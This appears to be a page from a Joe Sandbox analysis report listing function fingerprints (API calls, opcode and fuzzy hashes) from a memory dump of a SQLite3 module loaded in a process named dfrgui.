Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_malloc64$memcmpsqlite3_freesqlite3_realloc64
String ID:
API String ID: 1852262425-0
Opcode ID: 23b33126de6fa61d4f96038fce0ff116e7f8b2b46e6fa9188007586d45807885
Instruction ID: 02d9e73a4d75a8533b42b145884c5535c7e5caa48c7c518facce1235b45f7153
Opcode Fuzzy Hash: 23b33126de6fa61d4f96038fce0ff116e7f8b2b46e6fa9188007586d45807885
Instruction Fuzzy Hash: 31E105B5A042598FDB04CFA9C48069ABBF2BF89314F25C569EC54AB305D734E952CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 61E936A0 Relevance: 7.6, APIs: 5, Instructions: 54timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 61E936D9
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E936EA
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E936F2
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E936FA
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61E93709

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 138953795b9fe2b575285812b066ebf488249d8455cad0fd75461130b1b22ef6
Instruction ID: b209c06aea25f3d64433100c479b1c5550f2a21ea24959938b60b4d125f1eaca
Opcode Fuzzy Hash: 138953795b9fe2b575285812b066ebf488249d8455cad0fd75461130b1b22ef6
Instruction Fuzzy Hash: 6F1170B69553028FCB00DFB8D68855BBBE0FF89655F050D3AE548CB310DB35E9898B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E77880 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E77899
sqlite3_mutex_leave.SQLITE3 ref: 61E77AA9

Strings

BINARY, xrefs: 61E77987, 61E7799C
INTEGER, xrefs: 61E779A1

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID: BINARY$INTEGER
API String ID: 1477753154-1676293250
Opcode ID: 5e06206334b4d531d4b3c62b2c6304f7dbfd6b2a10f546ad8ea165f5ed010c5e
Instruction ID: 1044a81a53b07995d5badf5316baec31532fec3bfb6b1efb4b640aadce748d5e
Opcode Fuzzy Hash: 5e06206334b4d531d4b3c62b2c6304f7dbfd6b2a10f546ad8ea165f5ed010c5e
Instruction Fuzzy Hash: 76712675E0565A9FEB10CFA9C484B9EBBF1FB88358F25C429E858AB350D734D841CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E478BD Relevance: 6.4, APIs: 4, Instructions: 422COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E478D2

Part of subcall function 61E13FAA: sqlite3_mutex_try.SQLITE3(?,?,?,61E1402A), ref: 61E13F4A

sqlite3_mutex_enter.SQLITE3 ref: 61E478EB
sqlite3_mutex_leave.SQLITE3 ref: 61E47A04
sqlite3_mutex_leave.SQLITE3 ref: 61E47E0F

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
String ID:
API String ID: 2068833801-0
Opcode ID: 2c36d3ab45f1d7f0858256d9985ba77d2749cea59f42bc52cde9f2843c53188b
Instruction ID: feac0f90fe3517d3deac35505311846ccacd4189e3bf8def63778e0d83a3f0f5
Opcode Fuzzy Hash: 2c36d3ab45f1d7f0858256d9985ba77d2749cea59f42bc52cde9f2843c53188b
Instruction Fuzzy Hash: 02020574E042598FDB08CFA8D590A9DBBF2BF88318F29C459E845AB355D734EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E259F3 Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 61E25A35

Part of subcall function 61E25863: sqlite3_mutex_leave.SQLITE3 ref: 61E258A2

sqlite3_bind_double.SQLITE3 ref: 61E25A58

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_mutex_leave
String ID:
API String ID: 1465616180-0
Opcode ID: 2d2a39d10281f708c0e1ec976ef118b294a0351c426d972fe6f207272e830855
Instruction ID: fa682a8eb3146af832897d044302f2186fc9111b08e29f8c24822f573dadceab
Opcode Fuzzy Hash: 2d2a39d10281f708c0e1ec976ef118b294a0351c426d972fe6f207272e830855
Instruction Fuzzy Hash: A2216BB05097049FDB04DF59D5E12AABBA0EF49324F24C55EE9A84B399D234C851CB82

Uniqueness

Uniqueness Score: -1.00%

Function 61E25ADA Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E25AF4
sqlite3_bind_zeroblob.SQLITE3 ref: 61E25B19
sqlite3_mutex_leave.SQLITE3 ref: 61E25B39

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_bind_zeroblobsqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 2187339821-0
Opcode ID: fd82d8118d1dfcef2dd3b4004b93fa4971c8d1c997404bfe920ad8ca7ffc9a3a
Instruction ID: ec03841b387734964ccbedf90f9d5aeb2cba603dc61af0c45288c98f82bb6cb1
Opcode Fuzzy Hash: fd82d8118d1dfcef2dd3b4004b93fa4971c8d1c997404bfe920ad8ca7ffc9a3a
Instruction Fuzzy Hash: A2011A74A046198FCB00DF69D1D099ABBF5FF89764B24C459E848CB319D630E851CB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E1088D Relevance: 3.1, APIs: 2, Instructions: 72COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E1081B
sqlite3_mutex_leave.SQLITE3 ref: 61E1087E

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: a4b2aa46c381a1ef9dfd26f49fda6d4056484dfb049435801cf9db63e503566f
Instruction ID: 8156f0c470814bf93e36f23237021f05c5915d2ca7ae2d6312204cd83d790a1e
Opcode Fuzzy Hash: a4b2aa46c381a1ef9dfd26f49fda6d4056484dfb049435801cf9db63e503566f
Instruction Fuzzy Hash: E0212D349082198FCB04DFA9C485BE9FBF0FF49314F1481A9E818AB396D775E995CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E1073D Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E10753
sqlite3_mutex_leave.SQLITE3 ref: 61E1079E

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: 7f091bc1c669293594e63c1e131f4735b4e170d852591745cca0c848020f1c20
Instruction ID: a0f6b3ecf074aa1c87f9110a581b2a43198f584670a2be514135643a6f6f2b01
Opcode Fuzzy Hash: 7f091bc1c669293594e63c1e131f4735b4e170d852591745cca0c848020f1c20
Instruction Fuzzy Hash: E501F9365086518BCB00AF65C4C1A99BBB4EF86324F19C16AEC588F34AD734D492CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E256C1 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 61E254EB: sqlite3_log.SQLITE3 ref: 61E25519

sqlite3_mutex_leave.SQLITE3 ref: 61E256A3

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 70db542e2442cb87d82130d2572cea195df8602eecf264f30fa4d2e9f1950318
Instruction ID: 043b1b158e7823502beb08aad275c8d825e1f2bfaf8fca04309f5db98610adc9
Opcode Fuzzy Hash: 70db542e2442cb87d82130d2572cea195df8602eecf264f30fa4d2e9f1950318
Instruction Fuzzy Hash: 84314C74A042498FCB10DFA9D9D0AEEBBF5FF89224F248169E818D7358D735D902CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E25909 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 61E254EB: sqlite3_log.SQLITE3 ref: 61E25519

sqlite3_mutex_leave.SQLITE3 ref: 61E25968

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: c835b0a2f1f48912d605254764211426dc0a56ddc91766a6e7e980621e609dc1
Instruction ID: b0c63f8ad6c8981f87e3f6021f7123c8364c2557ddd5e567217499be5fc74aad
Opcode Fuzzy Hash: c835b0a2f1f48912d605254764211426dc0a56ddc91766a6e7e980621e609dc1
Instruction Fuzzy Hash: 8C112770A0430A8BCB04CF5AD5C059AFBA5FF89364F14862EE8589B305D334E991CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 61E257EA Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 61E254EB: sqlite3_log.SQLITE3 ref: 61E25519

sqlite3_mutex_leave.SQLITE3 ref: 61E25845

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 3e104ec75d1f05427d57e8b40a828d2f2a46eb096ee85bd5892d50d792460a8c
Instruction ID: e0996da50883f3bd06b68f2ece9ddc8d9ac0e3b33faec24ee35ccf468bc1930a
Opcode Fuzzy Hash: 3e104ec75d1f05427d57e8b40a828d2f2a46eb096ee85bd5892d50d792460a8c
Instruction Fuzzy Hash: C1017C3570060A9BCB04ABA9D9D09EDFBB4FF89364F25C169E8049B308DBB4D855CB94

Uniqueness

Uniqueness Score: -1.00%

Function 61E25986 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 61E254EB: sqlite3_log.SQLITE3 ref: 61E25519

sqlite3_mutex_leave.SQLITE3 ref: 61E259E4

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 986e6050ad27749a6cb0cb1f44111f146f7ca75fd7dc2c2223625e7d7e471bd7
Instruction ID: 3cd8f2ae183f5c9c86376f09ae18081a3b57ab573096787a607dc1119f92b10d
Opcode Fuzzy Hash: 986e6050ad27749a6cb0cb1f44111f146f7ca75fd7dc2c2223625e7d7e471bd7
Instruction Fuzzy Hash: EF014B347003468BC700DF6AD580A8AFBA4FF89368F14C669D8188B305D375E991CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 61E25863 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 61E254EB: sqlite3_log.SQLITE3 ref: 61E25519

sqlite3_mutex_leave.SQLITE3 ref: 61E258A2

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: a9697c151544da266bb117883734f60e90fa9259a565b897d89ff01c493d4291
Instruction ID: 733b1a8a03f6054a2512c04a4fe2f15ce8012d452e94817838260a8fe352a867
Opcode Fuzzy Hash: a9697c151544da266bb117883734f60e90fa9259a565b897d89ff01c493d4291
Instruction Fuzzy Hash: 29F03A3970020A9B8B00DF6AD9C088EB7B9EF89264B14C065EC04DB305D230E952CF91

Uniqueness

Uniqueness Score: -1.00%

Function 61E258D8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 61E254EB: sqlite3_log.SQLITE3 ref: 61E25519

sqlite3_mutex_leave.SQLITE3 ref: 61E258FB

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 38e8b1723f6024e78b6e25b91f353e5386eb6a44a4fddf66ef4c565f0f5707ff
Instruction ID: 19f8239dd8711a4a0acf0fd3a4fccf0221f07ecae00af97cb0da44f84c7d4ca3
Opcode Fuzzy Hash: 38e8b1723f6024e78b6e25b91f353e5386eb6a44a4fddf66ef4c565f0f5707ff
Instruction Fuzzy Hash: 21E0EC74B087099BCB00DF69D9C094AF7B8EF89268F24C665DC598B309E331E995CB81

Uniqueness

Uniqueness Score: -1.00%

Function 61E258B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 61E258D1

Part of subcall function 61E25863: sqlite3_mutex_leave.SQLITE3 ref: 61E258A2

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_mutex_leave
String ID:
API String ID: 3064317574-0
Opcode ID: ce01ef94e47e0f3b5e3022edffbc238ed3a861089da3a055ee794e226609d537
Instruction ID: 241d337363a67a0b3fa0b171ae47325cf8f6c1a49923edc43b5dee8f5f9fbea6
Opcode Fuzzy Hash: ce01ef94e47e0f3b5e3022edffbc238ed3a861089da3a055ee794e226609d537
Instruction Fuzzy Hash: BBD092B4909309AFCB00EF69C58544EBBE4AF88254F40C82EFC98C7310E6B4E8408F92

Uniqueness

Uniqueness Score: -1.00%

Function 61E25756 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe99dd488f8f8ad2b92952aec82dc289e8aab1b40138442d98c3cb0b9c02f0ee
